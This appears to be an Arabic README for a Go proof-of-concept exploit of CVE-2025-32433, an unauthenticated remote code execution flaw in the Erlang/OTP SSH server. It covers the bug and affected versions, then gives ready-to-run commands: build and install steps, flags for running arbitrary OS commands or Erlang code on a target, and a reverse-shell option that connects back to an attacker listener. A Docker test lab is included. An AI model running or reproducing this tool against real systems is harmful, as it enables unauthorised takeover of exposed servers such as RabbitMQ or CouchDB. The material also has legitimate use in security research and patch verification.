
Go PoC لـ CVE-2025-32433 — ثغرة RCE غير مصادق عليه في Erlang/OTP SSH.
CVE-2025-32433 هي ثغرة حرجة لتنفيذ أوامر عن بعد غير مصادق عليه في خادم SSH في Erlang/OTP. قبل الإصدارات المصححة، يقوم خادم SSH بمعالجة رسائل القناة بشكل غير صحيح قبل اكتمال المصادقة، مما يسمح للمهاجم بفتح قناة وإرسال طلبات exec دون تقديم بيانات اعتماد على الإطلاق. أي تطبيق يضم خادم SSH الخاص بـ Erlang/OTP (بما في ذلك Elixir، RabbitMQ، CouchDB وغيرها) يتأثر عند تعريض منفذ SSH.
يتصل نموذج إثبات المفهوم هذا بلغة Go بمنفذ SSH مستهدف، ويرسل حمولة SSH_MSG_CHANNEL_OPEN مصممة متبوعة بحمولة تنفيذ SSH_MSG_CHANNEL_REQUEST — بالكامل قبل المصادقة — مما يتسبب في عقدة Erlang البعيدة لتنفيذ أوامر نظام تشغيل عشوائية. التنفيذ أعمى: لا يتم إرجاع أي مخرجات للأوامر إلى المهاجم.
الإصدارات المتأثرة: Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20
bash -c، ملفوفة تلقائيًا في os:cmd الخاصة بـ Erlanggen_tcp دون الاعتماد على bash أو /dev/tcpالملفات الثنائية المجمعة مسبقًا لـ macOS و Linux و Windows متاحة على صفحة الإصدارات. قم بتنزيل الملف الثنائي لنظامك وقم بتشغيله مباشرة — لا حاجة لتثبيت Go.
أو البناء من المصدر:
[!NOTE] يتطلب Go 1.21+. لا تبعيات خارجية — يستخدم فقط مكتبة Go القياسية.
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
Usage of ./cve-2025-32433:
-host string
Target IP or hostname
-port int
SSH port (default: 22) (default 22)
-timeout int
Connection timeout in seconds (default: 5) (default 5)
-command string
Shell command to run on the target (wrapped in os:cmd)
-code string
Raw Erlang expression to execute on the target
-shell
Send an Erlang-native gen_tcp reverse shell
-lhost string
Listener IP for reverse shell (required with -shell)
-lport int
Listener port for reverse shell (default: 4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

العلم -shell يرسل حمولة شل عكسي أصلي gen_tcp لـ Erlang — لا حاجة لـ bash أو /dev/tcp. ابدأ مستمعًا أولاً، ثم أرسل الاستغلال.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

العلم -code يرسل تعبير Erlang خام مباشرة — بدون غلاف bash -c. مفيد لعمليات Erlang النقية أو عندما لا يكون bash متاحًا على الهدف. نظرًا لأن التنفيذ أعمى، اكتب المخرجات إلى ملف واستردها بشكل منفصل.
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

مزيد من التفاصيل في docker/DOCKER.md
cd docker/
docker compose down
docker compose up -d
# يمكنك الاختبار على -host 127.0.0.1 -port 2222
تم توفير هذه الأداة لأغراض تعليمية وبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي سوء استخدام أو ضرر ناتج عن الأداة.